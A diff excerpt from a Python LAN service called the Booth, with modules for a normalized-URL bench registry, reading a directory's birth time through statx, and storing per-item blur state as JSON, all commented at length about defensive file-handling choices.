||||
# AND a child whose name starts with a dot, so the registry fails two guards
|
||||
# rather than one. Verified against both functions (seam review SR-4, SR-5)
|
||||
# rather than assumed: had either guard been absent, the sweeper would have
|
||||
# eaten this file on its first tick.
|
||||
BENCHES_FILE = ".benches.json"
|
||||
BENCH_LOCK = ".benches.lock"
|
||||
|
||||
# live → promoted (to Homepage) → retired. Order is meaningful: it is the
|
||||
# first key of the rendered order, so a retired bench sinks.
|
||||
BENCH_STATES = ("live", "promoted", "retired")
|
||||
_STATE_RANK = {s: i for i, s in enumerate(BENCH_STATES)}
|
||||
|
||||
# Display budgets, not storage limits — these land in a panel row.
|
||||
NAME_MAX, OWNER_MAX, URL_MAX = 120, 64, 2048
|
||||
|
||||
# The read is on the render path, so it is bounded. 256 KiB holds thousands of
|
||||
# benches; the live board has 43 non-booth rows total.
|
||||
BENCHES_MAX_BYTES = 256 * 1024
|
||||
|
||||
_SCHEMES = ("http", "https")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Bench:
|
||||
"""One registered bench.
|
||||
|
||||
`id` and `url` are two fields ON PURPOSE. The identity must be normalized so
|
||||
that re-posting updates rather than appends; the href must be verbatim so a
|
||||
server that cares about a trailing slash, a case-sensitive path or a query
|
||||
still works when the operator clicks it. Collapsing them would make the
|
||||
registry quietly change where a link goes — a bug that surfaces as "the
|
||||
bench 404s" and is never traced back here.
|
||||
"""
|
||||
|
||||
id: str # the normalized URL — identity, and the key on disk
|
||||
url: str # the URL as posted — what a click goes to
|
||||
name: str
|
||||
owner: str # an althing handle, or "booth" for the service
|
||||
state: str
|
||||
added: str # ISO-8601 with offset, from the FIRST registration
|
||||
updated: str # ISO-8601 with offset, from the most recent upsert
|
||||
error: str | None = None # a read-time verdict; never stored
|
||||
|
||||
|
||||
def normalize_bench_url(url: str) -> str:
|
||||
"""The identity of a bench. Raises ValueError with a reason a human can act on.
|
||||
|
||||
THE RULE, in full, because a vague identity is worse than a wrong one:
|
||||
|
||||
* surrounding whitespace stripped
|
||||
* scheme lowercased; anything but http/https refused
|
||||
* userinfo (`user:pass@host`) REFUSED, never stripped
|
||||
* host lowercased; an empty host refused
|
||||
* port dropped when it is the scheme default (80 http, 443 https)
|
||||
* path kept verbatim, except that a bare "/" becomes ""
|
||||
* query kept verbatim INCLUDING parameter order (a query is opaque)
|
||||
* fragment dropped
|
||||
|
||||
WHY THE FULL URL AND NOT THE ORIGIN — measured, not chosen. Collapsing the
|
||||
live board's 43 non-booth rows by origin yields 19 groups; by full URL, 35.
|
||||
The difference is not duplication: it is eight distinct gitea repositories
|
||||
merged into one row, three unrelated HuggingFace model cards merged into
|
||||
one, and the two LRPG surfaces on `10.100.10.50:8321` merged into one —
|
||||
which are the information-architecture doc's own example of two real
|
||||
benches. Origin identity destroys more than it deduplicates. Full-URL
|
||||
identity still collapses both cases that doc names: talk 5 → 1, Peedlar 3 → 1.
|
||||
|
||||
WHY THE QUERY IS IN AND THE FRAGMENT IS OUT. Three ShutterChute rows on the
|
||||
board differ only by `?token=`; they are three genuinely different one-shot
|
||||
links, and dropping the query would merge them into a bench that is none of
|
||||
them. A fragment is a position inside a page, never a different resource.
|
||||
"""
|
||||
raw = (url or "").strip()
|
||||
if not raw:
|
||||
raise ValueError("a bench needs a URL")
|
||||
if len(raw) > URL_MAX:
|
||||
raise ValueError(f"URL is longer than {URL_MAX} characters")
|
||||
try:
|
||||
parts = urlsplit(raw)
|
||||
except ValueError as exc: # malformed IPv6 literal, etc.
|
||||
raise ValueError(f"could not parse that URL: {exc}") from exc
|
||||
|
||||
scheme = parts.scheme.lower()
|
||||
if scheme not in _SCHEMES:
|
||||
raise ValueError(
|
||||
f"a bench must be http or https, not {parts.scheme or '(no scheme)'}"
|
||||
)
|
||||
if "@" in parts.netloc:
|
||||
# Refused, NOT stripped. Stripping would register a bench whose URL no
|
||||
# longer works while telling the poster it succeeded — and would put a
|
||||
# credential on a board that renders on an unauthenticated LAN surface
|
||||
# on the way there.
|
||||
raise ValueError("a bench URL must not carry credentials; strip the user:pass@ and re-post")
|
||||
try:
|
||||
host = (parts.hostname or "").lower()
|
||||
port = parts.port
|
||||
except ValueError as exc: # a non-numeric port
|
||||
raise ValueError(f"could not read the host or port: {exc}") from exc
|
||||
if not host:
|
||||
raise ValueError("that URL has no host")
|
||||
|
||||
# RE-WRAP A BRACKETED IPv6 LITERAL. `urlsplit().hostname` strips the
|
||||
# brackets, and rebuilding the netloc from it produces `http://::1:8080/a`
|
||||
# — not a different spelling of the same URL but a BROKEN one, so a re-post
|
||||
# never matches the row the operator thinks they are updating. The bracket
|
||||
# is part of the authority's syntax, not decoration. Detected by the colon,
|
||||
# which cannot appear in a hostname or an IPv4 literal.
|
||||
if ":" in host:
|
||||
host = f"[{host}]"
|
||||
default = {"http": 80, "https": 443}[scheme]
|
||||
netloc = host if port in (None, default) else f"{host}:{port}"
|
||||
# A bare "/" is the same resource as no path at all; a trailing slash on a
|
||||
# REAL path is not, and is left alone.
|
||||
path = "" if parts.path == "/" else parts.path
|
||||
return urlunsplit((scheme, netloc, path, parts.query, ""))
|
||||
|
||||
|
||||
# ---- storage ----------------------------------------------------------------
|
||||
|
||||
|
||||
def _now() -> str:
|
||||
return datetime.now(timezone.utc).isoformat(timespec="seconds")
|
||||
|
||||
|
||||
def _cap(value: object, limit: int, field: str) -> str:
|
||||
if not isinstance(value, str):
|
||||
raise ValueError(f"{field} must be text, not {type(value).__name__}")
|
||||
return value[:limit]
|
||||
|
||||
|
||||
def _bench_from(bench_id: str, row: object) -> Bench:
|
||||
"""One stored row to a record. Raises ValueError on any shape it cannot
|
||||
trust — this is the STRICT half, used by the write path and by the read
|
||||
path's single try/except."""
|
||||
if not isinstance(row, dict):
|
||||
raise ValueError(f"{bench_id}: expected an object, found {type(row).__name__}")
|
||||
state = row.get("state", "live")
|
||||
if state not in BENCH_STATES:
|
||||
raise ValueError(f"{bench_id}: unknown state {state!r}")
|
||||
url = row.get("url", bench_id)
|
||||
if not isinstance(url, str):
|
||||
raise ValueError(f"{bench_id}: url must be text, not {type(url).__name__}")
|
||||
if len(url) > URL_MAX:
|
||||
# REFUSED, NOT TRUNCATED — unlike `name` and `owner`. Those are display
|
||||
# budgets and clipping one costs a few characters in a panel row. A
|
||||
# clipped URL is a DEAD ANCHOR, and INV-7 promises the click goes to the
|
||||
# posted address byte for byte; silently shortening it keeps the promise
|
||||
# in the type system and breaks it in the browser. Nothing this code
|
||||
# writes can get here (normalize refuses over-long input); a hand-edited
|
||||
# registry can, and it is damage, which is what the reader reports.
|
||||
raise ValueError(f"{bench_id}: url is longer than {URL_MAX} characters")
|
||||
return Bench(
|
||||
id=bench_id,
|
||||
url=url,
|
||||
name=_cap(row.get("name", ""), NAME_MAX, "name"),
|
||||
owner=_cap(row.get("owner", ""), OWNER_MAX, "owner"),
|
||||
state=state,
|
||||
added=_cap(row.get("added", ""), 64, "added"),
|
||||
updated=_cap(row.get("updated", ""), 64, "updated"),
|
||||
)
|
||||
|
||||
|
||||
def _read_bytes(path: Path) -> bytes:
|
||||
"""Read at most BENCHES_MAX_BYTES + 1 bytes from a REGULAR FILE.
|
||||
|
||||
REGULAR-FILE FIRST, THEN SIZE, THEN A BOUNDED READ — in that order, and the
|
||||
order is the whole point. A named pipe blocks in `open()`, before any byte
|
||||
cap can apply: bounding the read does NOT close that hole, and an earlier
|
||||
draft of this module claimed it did while hanging on the first FIFO put at
|
||||
this path. `read_benches` is on the board page's render path, so that hang
|
||||
is a request that never returns and, with enough of them, the threadpool
|
||||
behind every route. `marks.py` learned this on 2026-09-22 and guards with
|
||||
`S_ISREG`; this is the same guard, not a new idea.
|
||||
|
||||
The bounded read stays, for the case the stat cannot answer: a regular file
|
||||
that GREW between the stat and the read.
|
||||
"""
|
||||
st = os.stat(path)
|
||||
if not stat.S_ISREG(st.st_mode):
|
||||
raise ValueError(f"{path.name} is not a regular file")
|
||||
if st.st_size > BENCHES_MAX_BYTES:
|
||||
raise ValueError(f"registry is larger than {BENCHES_MAX_BYTES} bytes")
|
||||
with path.open("rb") as fh:
|
||||
return fh.read(BENCHES_MAX_BYTES + 1)
|
||||
|
||||
|
||||
def _load_strict(root: Path) -> dict[str, Bench]:
|
||||
"""Every bench, or ValueError. The write path's reader.
|
||||
|
||||
Whole-file, not per-row: a registry with one unreadable row is a registry
|
||||
somebody has to look at, and quietly dropping the row is how a bench
|
||||
disappears without anyone being told.
|
||||
"""
|
||||
path = Path(root) / BENCHES_FILE
|
||||
if not path.exists():
|
||||
return {}
|
||||
blob = _read_bytes(path)
|
||||
if len(blob) > BENCHES_MAX_BYTES:
|
||||
raise ValueError(f"registry is larger than {BENCHES_MAX_BYTES} bytes")
|
||||
try:
|
||||
raw = json.loads(blob.decode("utf-8"))
|
||||
except (UnicodeDecodeError, json.JSONDecodeError) as exc:
|
||||
raise ValueError(f"registry is not valid JSON: {exc}") from exc
|
||||
if not isinstance(raw, dict):
|
||||
raise ValueError(f"registry must be an object keyed by URL, found {type(raw).__name__}")
|
||||
return {k: _bench_from(k, v) for k, v in raw.items()}
|
||||
|
||||
|
||||
def read_benches(root: Path) -> tuple[list[Bench], str | None]:
|
||||
"""Every registered bench in the rendered order, plus a read-time error.
|
||||
|
||||
NEVER RAISES. This runs on the render path, and the v0.2.2 lesson in this
|
||||
repo was learned the expensive way: a poisoned `.marks.json` returned 500
|
||||
for `/` and `/healthz` across all 25 booths. A registry that cannot be read
|
||||
costs its own panel, never the page.
|
||||
|
||||
ABSENT AND DAMAGED ARE DIFFERENT and must render differently — only one of
|
||||
them needs a human. Absent is `([], None)`; damaged is `([], "why")`.
|
||||
"""
|
||||
try:
|
||||
return order_benches(_load_strict(root).values()), None
|
||||
except ValueError as exc:
|
||||
return [], str(exc)
|
||||
except OSError as exc:
|
||||
return [], f"registry could not be read: {exc}"
|
||||
except RecursionError:
|
||||
# Deeply nested JSON (`[[[[...`) blows the stack inside json.loads, and
|
||||
# RecursionError is neither ValueError nor OSError — so it escaped the
|
||||
# pair above and 500'd the page this function exists to protect. The
|
||||
# byte cap does not help: 200k open brackets is 200 KB.
|
||||
return [], "registry is nested too deeply to parse"
|
||||
|
||||
|
||||
def _write_all(root: Path, benches: dict[str, Bench]) -> None:
|
||||
"""Atomic replace. Caller holds the lock.
|
||||
|
||||
Temp file + os.replace, so a reader never sees a partial file and a crash
|
||||
mid-write cannot truncate the registry into a shorter — and therefore
|
||||
quieter — set of benches. CLAUDE.md invariant 5.
|
||||
"""
|
||||
root = Path(root)
|
||||
path = root / BENCHES_FILE
|
||||
payload = {
|
||||
b.id: {"url": b.url, "name": b.name, "owner": b.owner,
|
||||
"state": b.state, "added": b.added, "updated": b.updated}
|
||||
# The key IS the id, so the record does not carry it twice — two copies
|
||||
# of one fact is two things that can disagree.
|
||||
for b in benches.values()
|
||||
}
|
||||
# Per-pid scratch name so two writers cannot share it: the atomic-replace
|
||||
# promise is that a READER never sees a partial file, not that two writers
|
||||
# never collide on the way there.
|
||||
body = json.dumps(payload, indent=2, sort_keys=True) + "\n"
|
||||
# THE WRITER RESPECTS THE READER'S CAP. Without this, a successful
|
||||
# registration can push the file past BENCHES_MAX_BYTES and every
|
||||
# subsequent read fails — so the LAST bench somebody added is the one that
|
||||
# makes all the others invisible, and the write that did it reported
|
||||
# success. The reader is lenient about damage; it is not lenient about
|
||||
# size, and a writer that ignores a limit its own reader enforces is
|
||||
# manufacturing exactly the state the leniency exists to survive.
|
||||
if len(body.encode("utf-8")) > BENCHES_MAX_BYTES:
|
||||
raise ValueError(
|
||||
f"that registration would push the registry past {BENCHES_MAX_BYTES} "
|
||||
f"bytes, which its own reader refuses; nothing was written")
|
||||
# AN UNPREDICTABLE SCRATCH NAME, IN THE SAME DIRECTORY. `.tmp.<pid>` is
|
||||
# guessable, and a pre-planted symlink there redirects the write straight
|
||||
# through the atomic replace — the replace is atomic, not safe. mkstemp
|
||||
# creates with O_EXCL and 0600, so it cannot land on someone else's file.
|
||||
# Same directory because os.replace is only atomic within a filesystem.
|
||||
fd, tmpname = tempfile.mkstemp(dir=str(root), prefix=".benches-", suffix=".tmp")
|
||||
tmp = Path(tmpname)
|
||||
try:
|
||||
with os.fdopen(fd, "w", encoding="utf-8") as fh:
|
||||
fh.write(body)
|
||||
fh.flush()
|
||||
# FSYNC BEFORE THE REPLACE. os.replace orders the rename, not the
|
||||
# DATA behind it: without this, a power loss can publish a name
|
||||
# pointing at bytes that never reached the disk, which is a
|
||||
# truncated registry wearing a successful write's clothes.
|
||||
os.fsync(fh.fileno())
|
||||
os.chmod(tmp, 0o644) # mkstemp's 0600 is tighter than the rest
|
||||
os.replace(tmp, path)
|
||||
except BaseException:
|
||||
# A write that dies between create and replace would otherwise strand
|
||||
# the scratch file beside the registry forever. The prior registry is
|
||||
# untouched either way — os.replace is the only thing that publishes.
|
||||
tmp.unlink(missing_ok=True)
|
||||
raise
|
||||
|
||||
|
||||
class _Locked:
|
||||
"""Exclusive flock over the whole read-modify-write, on a sidecar."""
|
||||
|
||||
def __init__(self, root: Path):
|
||||
self.root = Path(root)
|
||||
self.root.mkdir(parents=True, exist_ok=True)
|
||||
self.path = self.root / BENCH_LOCK
|
||||
|
||||
def __enter__(self):
|
||||
self.path.touch(exist_ok=True)
|
||||
self.fh = self.path.open("r+")
|
||||
fcntl.flock(self.fh, fcntl.LOCK_EX)
|
||||
return self
|
||||
|
||||
def __exit__(self, *exc):
|
||||
fcntl.flock(self.fh, fcntl.LOCK_UN)
|
||||
self.fh.close()
|
||||
return False
|
||||
|
||||
|
||||
def upsert_bench(root: Path, url: str, name: str, owner: str) -> tuple[Bench, bool]:
|
||||
"""Register or update by normalized URL. Returns (bench, created).
|
||||
|
||||
READS ARE LENIENT, WRITES ARE STRICT — and this is the strict side. A write
|
||||
over a registry that cannot be parsed RAISES rather than starting a fresh
|
||||
one: on 2026-09-21 this repo learned that a tolerant writer over a damaged
|
||||
`.marks.json` wipes the operator's judgment, and a tolerant reader is a
|
||||
completely different decision from a tolerant writer.
|
||||
|
||||
`added` survives an update; `state` survives too, so a promoted bench that
|
||||
re-announces itself after a deploy is not silently demoted.
|
||||
"""
|
||||
bench_id = normalize_bench_url(url)
|
||||
with _Locked(root):
|
||||
benches = _load_strict(root) # raises on damaged — deliberate
|
||||
prior = benches.get(bench_id)
|
||||
now = _now()
|
||||
bench = Bench(
|
||||
id=bench_id,
|
||||
url=(url or "").strip(),
|
||||
name=_cap(name or "", NAME_MAX, "name"),
|
||||
owner=_cap(owner or "", OWNER_MAX, "owner"),
|
||||
state=prior.state if prior else "live",
|
||||
added=prior.added if prior else now,
|
||||
updated=now,
|
||||
)
|
||||
benches[bench_id] = bench
|
||||
_write_all(root, benches)
|
||||
return bench, prior is None
|
||||
|
||||
|
||||
def set_bench_state(root: Path, bench_id: str, state: str) -> Bench | None:
|
||||
"""Move a bench between live / promoted / retired. None if no such bench."""
|
||||
if state not in BENCH_STATES:
|
||||
raise ValueError(f"state must be one of {', '.join(BENCH_STATES)}, not {state!r}")
|
||||
with _Locked(root):
|
||||
benches = _load_strict(root)
|
||||
prior = benches.get(bench_id)
|
||||
if prior is None:
|
||||
return None
|
||||
moved = replace(prior, state=state, updated=_now())
|
||||
benches[bench_id] = moved
|
||||
_write_all(root, benches)
|
||||
return moved
|
||||
|
||||
|
||||
def remove_bench(root: Path, bench_id: str) -> Bench | None:
|
||||
"""Drop one bench. Returns the removed record, or None."""
|
||||
with _Locked(root):
|
||||
benches = _load_strict(root)
|
||||
gone = benches.pop(bench_id, None)
|
||||
if gone is None:
|
||||
return None
|
||||
_write_all(root, benches)
|
||||
return gone
|
||||
|
||||
|
||||
def order_benches(benches: Iterable[Bench]) -> list[Bench]:
|
||||
"""ORDER: (state rank, name casefolded, id).
|
||||
|
||||
live before promoted before retired, then alphabetical, with the id as a
|
||||
TOTAL tie-break so two benches sharing a name cannot swap between renders.
|
||||
CLAUDE.md invariant 6 — the Booth's job is comparison, and an order that
|
||||
moves between page loads files the operator's judgment against the wrong
|
||||
row. Pure: no I/O, and the input sequence is not mutated.
|
||||
"""
|
||||
return sorted(benches, key=lambda b: (_STATE_RANK.get(b.state, len(BENCH_STATES)),
|
||||
b.name.casefold(), b.id))
|
||||
@@ -0,0 +1,73 @@
|
||||
"""The filesystem's own record of when a directory was created.
|
||||
|
||||
The operator asked for creation dates on booths. Only 18 of 30 live booths had
|
||||
one: `.booth.json` carries a declared `created`, but that file only exists for
|
||||
booths posted through the CLI since U5, and the twelve older ones had nothing.
|
||||
|
||||
The tempting answers were all guesses wearing a fact's clothes — the oldest
|
||||
content mtime (wrong whenever an agent copies files with timestamps preserved),
|
||||
or the directory mtime (which is just "last time something was added"). Writing
|
||||
a first-seen stamp on read was worse still: this service spent an hour today
|
||||
fixing a cache that aged the booth it cached.
|
||||
|
||||
ext4 records a real birth time. CPython 3.13 does not expose `st_birthtime` on
|
||||
Linux, but `statx(2)` does and glibc has wrapped it since 2.28 — so this reads
|
||||
a FACT the disk already holds rather than inventing one.
|
||||
|
||||
DEGRADES TO None, always: an old kernel, a filesystem that does not record
|
||||
btime (tmpfs, NFS, some overlayfs), a missing glibc symbol, or anything else
|
||||
unexpected. A caller that gets None shows nothing, which is the honest output
|
||||
when nobody knows.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ctypes
|
||||
import ctypes.util
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
_AT_FDCWD = -100
|
||||
_STATX_BTIME = 0x00000800
|
||||
# struct statx: stx_btime is the SECOND statx_timestamp, and the four that
|
||||
# precede it occupy a fixed 64-byte head (mask, blksize, attributes, nlink,
|
||||
# uid, gid, mode, spare, ino, size, blocks, attributes_mask), then atime.
|
||||
_BTIME_SEC_OFFSET = 80
|
||||
_STATX_BUF_SIZE = 256
|
||||
|
||||
|
||||
def _load():
|
||||
try:
|
||||
libc = ctypes.CDLL(ctypes.util.find_library("c") or "libc.so.6", use_errno=True)
|
||||
return libc.statx
|
||||
except (OSError, AttributeError):
|
||||
return None
|
||||
|
||||
|
||||
_statx = _load()
|
||||
|
||||
|
||||
def birth_time(path: Path) -> float | None:
|
||||
"""When the filesystem says this path was created, or None if it cannot say.
|
||||
|
||||
NEVER RAISES. `list_booths` calls this once per booth on every index load,
|
||||
so a read that can raise is a service-wide outage wearing a single-booth
|
||||
bug's clothes — the posture `read_manifest` already states, applied before
|
||||
the same mistake rather than after it.
|
||||
"""
|
||||
if _statx is None:
|
||||
return None
|
||||
try:
|
||||
buf = ctypes.create_string_buffer(_STATX_BUF_SIZE)
|
||||
rc = _statx(ctypes.c_int(_AT_FDCWD), os.fsencode(str(path)),
|
||||
ctypes.c_int(0), ctypes.c_uint(_STATX_BTIME), buf)
|
||||
if rc != 0:
|
||||
return None
|
||||
mask = int.from_bytes(buf.raw[0:4], "little")
|
||||
if not mask & _STATX_BTIME:
|
||||
return None # the filesystem does not record it
|
||||
sec = int.from_bytes(buf.raw[_BTIME_SEC_OFFSET:_BTIME_SEC_OFFSET + 8],
|
||||
"little", signed=True)
|
||||
return float(sec) if sec > 0 else None
|
||||
except Exception: # noqa: BLE001 — see the docstring; nothing here is worth a 500
|
||||
return None
|
||||
+232
@@ -0,0 +1,232 @@
|
||||
"""Per-item blur storage — `.blurred.json`, one JSON array of booth-relative paths.
|
||||
|
||||
⚠ STDLIB ONLY (CLAUDE.md invariant 1). `scripts/booth blur` imports this under
|
||||
the system python3 with no venv, so the service and the CLI share ONE reader,
|
||||
ONE writer and ONE predicate for what an item path is. The CLI used to keep its
|
||||
own grep/printf line writer, and two writers of one file is how formats drift.
|
||||
|
||||
⚠ COSMETIC ONLY. A blurred item is still served, still in the zip, still on
|
||||
disk. The Booth has no auth: if a thing must not be SEEN, it must not be in a
|
||||
booth.
|
||||
|
||||
WHY A NEW FILE NAME, NOT A NEW FORMAT IN THE OLD FILE. `.blurred` was one
|
||||
stripped rel per line, which could not round-trip a rel with a leading space or
|
||||
a newline (blurring " a.png" blurred "a.png"). A JSON array fixes that, the
|
||||
`.seen` shape. Writing it into the OLD name would force the reader to sniff
|
||||
which format it is looking at, and sniffing cannot be made safe: a legacy file
|
||||
whose one line is an item literally named `["a.png"]` parses as a JSON array and
|
||||
would blur the neighbour, the very bug this module exists to fix (heid bug-hunt,
|
||||
3 of 3 arms). So the two formats live at two names and neither is ever guessed:
|
||||
|
||||
.blurred.json current. JSON only, never read as lines.
|
||||
.blurred legacy, READ ONLY, and only while `.blurred.json` is absent.
|
||||
Lines only, never read as JSON. The first write replaces it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import stat
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
BLUR_FILE = ".blurred.json"
|
||||
LEGACY_BLUR_FILE = ".blurred"
|
||||
|
||||
# A blur set bigger than this is not one this module wrote: a JSON array of
|
||||
# every rel in a 270-item booth is a few KB. Same bound as `.seen`, and the
|
||||
# WRITER enforces it too, so the writer can never produce a file the reader
|
||||
# would refuse and read as nothing.
|
||||
BLUR_MAX_BYTES = 1 << 20
|
||||
|
||||
|
||||
class BlurUnwritable(Exception):
|
||||
"""The blur set on disk could not be made to hold what was asked: something
|
||||
that is not ours is in the way (a directory at the name, a permission), or
|
||||
the set would outgrow what the reader accepts. A refusal about the STATE ON
|
||||
DISK, not about the request, so the route answers 409, never 500."""
|
||||
|
||||
|
||||
def check_rel(rel: str) -> str:
|
||||
"""The one predicate for what a blur entry may be, shared by the route and
|
||||
the CLI so the two cannot disagree about which items are addressable.
|
||||
|
||||
A booth-relative path: not empty, not absolute, no `..` COMPONENT (so
|
||||
`a..b.png` is a fine name, and `a/../b` is not), and encodable back to the
|
||||
bytes of a filename. Stored EXACTLY as given otherwise — never stripped.
|
||||
Raises ValueError; returns `rel` unchanged."""
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):
|
||||
raise ValueError(f"not a booth-relative item path: {rel!r}")
|
||||
if not _encodable(rel):
|
||||
raise ValueError(f"not a filename this box can hold: {rel!r}")
|
||||
return rel
|
||||
|
||||
|
||||
def _encodable(rel: str) -> bool:
|
||||
"""A real filename decodes under surrogateescape to U+DC80..U+DCFF at worst,
|
||||
which encodes back. A lone U+D800 cannot come from any filename, only from a
|
||||
planted JSON escape, and would make every later write raise."""
|
||||
try:
|
||||
rel.encode("utf-8", "surrogateescape")
|
||||
except UnicodeEncodeError:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _read_capped(path: Path) -> bytes | None:
|
||||
"""A regular file's bytes, or None. Never follows a link, never blocks on a
|
||||
FIFO, never reads past the cap, never raises."""
|
||||
try:
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||
except OSError:
|
||||
return None
|
||||
try:
|
||||
st = os.fstat(fd)
|
||||
if not stat.S_ISREG(st.st_mode) or st.st_size > BLUR_MAX_BYTES:
|
||||
return None
|
||||
return os.read(fd, BLUR_MAX_BYTES + 1)
|
||||
except OSError:
|
||||
return None
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
|
||||
def _load(booth: Path) -> set[str]:
|
||||
"""The blur set, STRICTLY: raises BlurUnwritable for a REGULAR file at
|
||||
either name that cannot be read as its format (a permission, over the size
|
||||
cap, not JSON), where `read_blurred` would say "nothing blurred". The
|
||||
writer builds on this; the renderer on the lenient one. One parse, two
|
||||
postures, so they cannot disagree about what a file means, only about what
|
||||
to do when it cannot be read.
|
||||
|
||||
Only a regular file can hold a set anyone wrote. A link, a directory or a
|
||||
FIFO at either name holds nothing to lose, so it reads as empty here too,
|
||||
and whether the write can then land is `set_blurred`'s postcondition to
|
||||
judge (a link is replaced; a directory is refused).
|
||||
|
||||
ANYTHING at `.blurred.json` means the current format is in charge, and the
|
||||
legacy file is not consulted, so a stale `.blurred` left beside a newer set
|
||||
can never speak. Members that are not strings, are empty, or could not be a
|
||||
filename are skipped: no one could have meant them, and dropping them loses
|
||||
nothing.
|
||||
"""
|
||||
current, legacy = booth / BLUR_FILE, booth / LEGACY_BLUR_FILE
|
||||
for path in (current, legacy):
|
||||
try:
|
||||
st = os.lstat(path)
|
||||
except FileNotFoundError:
|
||||
continue
|
||||
except OSError as exc:
|
||||
raise BlurUnwritable(f"cannot stat {path.name} in {booth.name!r} ({exc})") from exc
|
||||
if not stat.S_ISREG(st.st_mode):
|
||||
return set()
|
||||
raw = _read_capped(path)
|
||||
if raw is None:
|
||||
raise BlurUnwritable(f"{path.name} in {booth.name!r} is not a readable file of sane size")
|
||||
text = raw.decode("utf-8", "surrogateescape")
|
||||
if path is legacy:
|
||||
return {ln.strip() for ln in text.splitlines() if ln.strip()}
|
||||
try:
|
||||
data = json.loads(text)
|
||||
except (ValueError, RecursionError) as exc:
|
||||
# RecursionError: a deeply nested array blows the parser's stack,
|
||||
# and it is neither a ValueError nor an OSError (the `.seen` hole).
|
||||
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not JSON") from exc
|
||||
if not isinstance(data, list):
|
||||
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not a JSON array")
|
||||
return {r for r in data if isinstance(r, str) and r and _encodable(r)}
|
||||
return set()
|
||||
|
||||
|
||||
def read_blurred(booth: Path) -> set[str]:
|
||||
"""Blurred rels for a booth. Missing, unreadable or malformed -> empty set.
|
||||
|
||||
NEVER RAISES and NEVER BLOCKS. `booth_items` calls this for every booth the
|
||||
Desk renders, and any fleet session can write into a booth, so either file
|
||||
may be planted: each is opened without following a link and without
|
||||
blocking, and refused unless it is a regular file of sane size. A damaged
|
||||
file costs the blur, never the page. The WRITER does not get this leniency;
|
||||
see `_load`.
|
||||
"""
|
||||
try:
|
||||
return _load(booth)
|
||||
except BlurUnwritable:
|
||||
return set()
|
||||
|
||||
|
||||
def _discard(path: Path) -> None:
|
||||
try:
|
||||
path.unlink()
|
||||
except OSError:
|
||||
pass # judged by the postcondition in set_blurred, not here
|
||||
|
||||
|
||||
def set_blurred(booth: Path, rel: str, on: bool) -> set[str]:
|
||||
"""Add or remove one rel from the blur set, and return the new set.
|
||||
|
||||
`rel` must pass `check_rel` (ValueError otherwise) and is stored EXACTLY as
|
||||
given. Written as a JSON array in sorted order (CLAUDE.md invariant 6), so
|
||||
the same set is the same bytes; an empty set removes the file, because an
|
||||
empty marker is a lie by omission. The first write also retires a legacy
|
||||
`.blurred`, AFTER the new file is in place, so a crash between the two
|
||||
leaves the new file in charge.
|
||||
|
||||
Atomic replace (CLAUDE.md invariant 5) through a temp file created with
|
||||
O_EXCL: a crash mid-write cannot leave a shorter, more revealing set, and
|
||||
`os.replace` swaps a planted symlink out rather than writing through it.
|
||||
|
||||
WRITES ARE STRICT. The set it builds on comes from `_load`, which refuses
|
||||
(BlurUnwritable, nothing changed) where the renderer's reader would say
|
||||
"nothing blurred": a file it cannot read is never overwritten with a set
|
||||
that forgot what it held.
|
||||
|
||||
SUCCESS IS DEFINED BY THE READER. After writing, `read_blurred` must return
|
||||
exactly the set asked for; anything else raises BlurUnwritable. That one
|
||||
check covers a planted directory at either name, a permission, and a race,
|
||||
without a branch per way the disk can be wrong.
|
||||
|
||||
NOT locked. Two writers racing (the operator's click and a session's
|
||||
`booth blur`) can lose one toggle, as the line format could.
|
||||
"""
|
||||
check_rel(rel)
|
||||
# STRICT, never `read_blurred`: an empty set from a file that could not be
|
||||
# read would be written back over it, and whatever it held would be gone
|
||||
# (the `.marks.json` wipe of 2026-09-21; groa: a cross-uid EACCES).
|
||||
current = _load(booth)
|
||||
if on:
|
||||
current.add(rel)
|
||||
else:
|
||||
current.discard(rel)
|
||||
path = booth / BLUR_FILE
|
||||
legacy = booth / LEGACY_BLUR_FILE
|
||||
if current:
|
||||
body = json.dumps(sorted(current), ensure_ascii=False).encode("utf-8", "surrogateescape")
|
||||
if len(body) > BLUR_MAX_BYTES:
|
||||
raise BlurUnwritable(
|
||||
f"{len(current)} blurred items would exceed the {BLUR_MAX_BYTES}-byte "
|
||||
f"bound the reader accepts; nothing was changed")
|
||||
try:
|
||||
fd, tmp = tempfile.mkstemp(prefix=".blurred.", suffix=".tmp", dir=booth)
|
||||
try:
|
||||
# mkstemp makes 0600; the line-format writer left 0644, and a
|
||||
# reader under another uid must still see the set (groa).
|
||||
os.fchmod(fd, 0o644)
|
||||
with os.fdopen(fd, "wb") as fh:
|
||||
fh.write(body)
|
||||
os.replace(tmp, path)
|
||||
except BaseException:
|
||||
_discard(Path(tmp))
|
||||
raise
|
||||
except OSError:
|
||||
pass # judged by the postcondition below
|
||||
else:
|
||||
_discard(legacy)
|
||||
else:
|
||||
_discard(path)
|
||||
_discard(legacy)
|
||||
if read_blurred(booth) != current:
|
||||
raise BlurUnwritable(
|
||||
f"the blur set in {booth.name!r} could not be written; is something other "
|
||||
f"than a file at {BLUR_FILE} or {LEGACY_BLUR_FILE}?")
|
||||
return current
|
||||
-119
@@ -1,119 +0,0 @@
|
||||
"""Inline ask placement inside a booth's VERBATIM index.html.
|
||||
|
||||
A booth that ships its own `index.html` is served untouched, so the auto-gallery
|
||||
template's asks panel never renders there. The first fix was a chip linking to a
|
||||
separate `/asks` page; the operator's verdict on that (2026-09-09) was that the
|
||||
question belongs WITH the artifacts it is about — a four-voice audition wants the
|
||||
radio group for each voice under that voice's audio, not on another page.
|
||||
|
||||
So the report author marks where each piece goes, with a placeholder element:
|
||||
|
||||
<div data-booth-ask="anchors"></div> the whole ask: every question + submit
|
||||
<div data-booth-ask="anchors:lawson"></div> just that question's radios
|
||||
<div data-booth-ask-submit="anchors"></div> the notes field + submit button
|
||||
|
||||
